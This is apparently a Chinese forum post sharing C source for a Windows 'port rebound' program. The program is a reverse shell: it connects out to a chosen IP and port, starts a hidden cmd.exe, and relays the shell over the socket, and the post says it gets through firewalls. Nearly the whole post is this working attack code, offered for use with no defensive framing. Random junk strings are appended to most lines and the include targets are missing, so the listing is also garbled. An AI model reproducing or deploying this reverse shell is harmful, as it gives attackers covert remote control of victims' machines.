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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $rjm MSxi  
m-[xrVV  
/* ============================== 6 P9#6mZ  
Rebound port in Windows NT b!QRD'31'j  
By wind,2006/7 ,DW q  
===============================*/ Rc@lGq9  
#include Z@JTZMN_  
#include %"E!E1_Sv  
&RS)U72  
#pragma comment(lib,"wsock32.lib") ndB qXS  
:1UOT'_  
void OutputShell(); K^/.v<w  
SOCKET sClient; fP;I{AiN~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >Ir?)h  
(t"|XSF  
void main(int argc,char **argv) Vw.4;Zy(  
{ t=fAG,k5  
WSADATA stWsaData; n68qxD-X  
int nRet; <g&GIFE,  
SOCKADDR_IN stSaiClient,stSaiServer; 8SiWAOQAL  
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if(argc != 3) FD8  
{ 't \sXN+1  
printf("Useage:\n\rRebound DestIP DestPort\n"); tOj5b 7'ui  
return; :-2sKD y  
} uW(Ngcpr  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ][\ uH|  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 j|XC  
4&L,QSJ V  
stSaiClient.sin_family = AF_INET; A6;[r #C  
stSaiClient.sin_port = htons(0); ]3U|K .G  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  pXNH  
aO:A pOAO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |f}`uF  
{ +miL naO~L  
printf("Bind Socket Failed!\n"); MqWM!v-M  
return; #Guwbg  
} #LYx;[D6  
)Ps<u-V  
stSaiServer.sin_family = AF_INET; grd fR`3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #b&=CsW`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b3=XWzK5  
v9D[| 4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e 7Sg-NWV  
{ 'F1<m^  
printf("Connect Error!"); nrTCq~LO(  
return; 2Y}A9Veb  
} mL@7,GD  
OutputShell(); 4%>tk 8 [  
} !?B2OE  
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void OutputShell() r_V^sX  
{ Ys5I qj=mp  
char szBuff[1024]; 1 x0)mt3  
SECURITY_ATTRIBUTES stSecurityAttributes; &3~R-$P  
OSVERSIONINFO stOsversionInfo; TU2MG VYy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n>lQ:l~  
STARTUPINFO stStartupInfo; eYg0 NEq{  
char *szShell; DY87NS*HF  
PROCESS_INFORMATION stProcessInformation; B an" H~  
unsigned long lBytesRead; XOZ@ek)LY  
\7(OFT\u:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )d5mZE!3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 51>OwEf<R  
stSecurityAttributes.lpSecurityDescriptor = 0; ,v*\2oG3^  
stSecurityAttributes.bInheritHandle = TRUE; m`,h nDp  
(bogAi3<F  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BLo=@C%w5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "L)?dlb6T  
Nu}Zsb|{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]"vpCL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ({t6Cbw  
stStartupInfo.wShowWindow = SW_HIDE; d:n .Vp  
stStartupInfo.hStdInput = hReadPipe; n*qn8Dq  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )]JQlm:H  
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GetVersionEx(&stOsversionInfo); tH4+S?PI  
QJH~YV\%  
switch(stOsversionInfo.dwPlatformId) ]!N|3"Ls  
{ -fx$)d~  
case 1: wo) lkovd  
szShell = "command.com"; ,Ct1)%   
break; \/ /{\d  
default: Znh<r[p<  
szShell = "cmd.exe"; #|}EPD9$  
break; s9?H#^Y5u  
} \z=!It]f.  
k?Iq 6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0~nub  
MJ@PAwv"  
send(sClient,szMsg,77,0); *2I@_b6&  
while(1) /3 ;t &]  
{ S? (/~Vb%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vQ DlS1L  
if(lBytesRead) kAk+ Sq^n  
{ cfW;gFf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^pvnUODW[  
send(sClient,szBuff,lBytesRead,0); ^{+_PWn  
} <~.1>CI9D3  
else k Rp$[^ma  
{ }xy[ &-dh  
lBytesRead=recv(sClient,szBuff,1024,0); 6.QzT(  
if(lBytesRead<=0) break; M[ ,:NE4H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 09HqiROw  
} G+Zm  
} k!wEPi]  
#6Fc-ysk:  
return; 140_WV?7  
}
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